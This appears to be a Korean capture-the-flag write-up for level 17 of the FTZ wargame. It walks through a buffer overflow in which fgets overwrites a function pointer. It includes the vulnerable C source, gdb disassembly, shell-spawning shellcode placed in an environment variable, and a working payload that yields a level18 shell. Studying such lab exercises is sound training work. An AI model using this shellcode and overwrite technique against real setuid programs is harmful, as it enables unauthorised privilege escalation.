FTZ level17

c0wb3ll ㅣ 2020. 3. 11. 08:13

FTZ level17

문제

[level17@ftz level17]$ cat hint

#include <stdio.h>

void printit() {
  printf("Hello there!\n");
}

main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  setreuid(3098,3098);
  call();
}

[level17@ftz level17]$ 
  1. call() 함수는 printit() 함수의 주소를 가지고 있다.
  2. buf의 크기는 20이다.
  3. fgets() 함수를 이용하여 최대 48byte만큼 buf에 입력받는다.
  4. 권한을 설정한다.
  5. call() = printit() 함수를 실행한다.

취약점

#include <stdio.h>

void printit() {
  printf("Hello there!\n");
}

main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  setreuid(3098,3098);
  call();
}

fgets()함수로 입력받는 크기가 buf의 크기보다 크기 때문에 메모리를 덮어쓸 수 있다.


익스 코드

환경 변수로 쉘코드를 올려둔 뒤 call함수의 주소를 우리가 올려둔 쉘코드의 주소로 바꾸어 주면 되겠다.

(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>:    push   ebp
0x080484a9 <main+1>:    mov    ebp,esp
0x080484ab <main+3>:    sub    esp,0x38
0x080484ae <main+6>:    mov    DWORD PTR [ebp-16],0x8048490
0x080484b5 <main+13>:    sub    esp,0x4
0x080484b8 <main+16>:    push   ds:0x804967c
0x080484be <main+22>:    push   0x30
0x080484c0 <main+24>:    lea    eax,[ebp-56]
0x080484c3 <main+27>:    push   eax
0x080484c4 <main+28>:    call   0x8048350 <fgets>
0x080484c9 <main+33>:    add    esp,0x10
0x080484cc <main+36>:    sub    esp,0x8
0x080484cf <main+39>:    push   0xc1a
0x080484d4 <main+44>:    push   0xc1a
0x080484d9 <main+49>:    call   0x8048380 <setreuid>
0x080484de <main+54>:    add    esp,0x10
0x080484e1 <main+57>:    mov    eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>:    call   eax
0x080484e6 <main+62>:    leave  
0x080484e7 <main+63>:    ret    
0x080484e8 <main+64>:    nop    
0x080484e9 <main+65>:    nop    
0x080484ea <main+66>:    nop    
0x080484eb <main+67>:    nop    
0x080484ec <main+68>:    nop    
0x080484ed <main+69>:    nop    
0x080484ee <main+70>:    nop    
0x080484ef <main+71>:    nop    
  1. ebp-16에 printit()주소 위치
  2. fgets() 함수 ebp-56에서 부터 입력

A를 40byte만큼 채운 뒤 환경변수 쉘코드 주소로 ebp-16을 변조하면 된다.

[level17@ftz level17]$ export env=$(python -c "print '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'")
[level17@ftz level17]$
[level17@ftz tmp]$ ./env
bfffff57
[level17@ftz level17]$ (python -c "print 'A'*40 + '\x57\xff\xff\xbf'";cat) | ./attackme 
id
uid=3098(level18) gid=3097(level17) groups=3097(level17)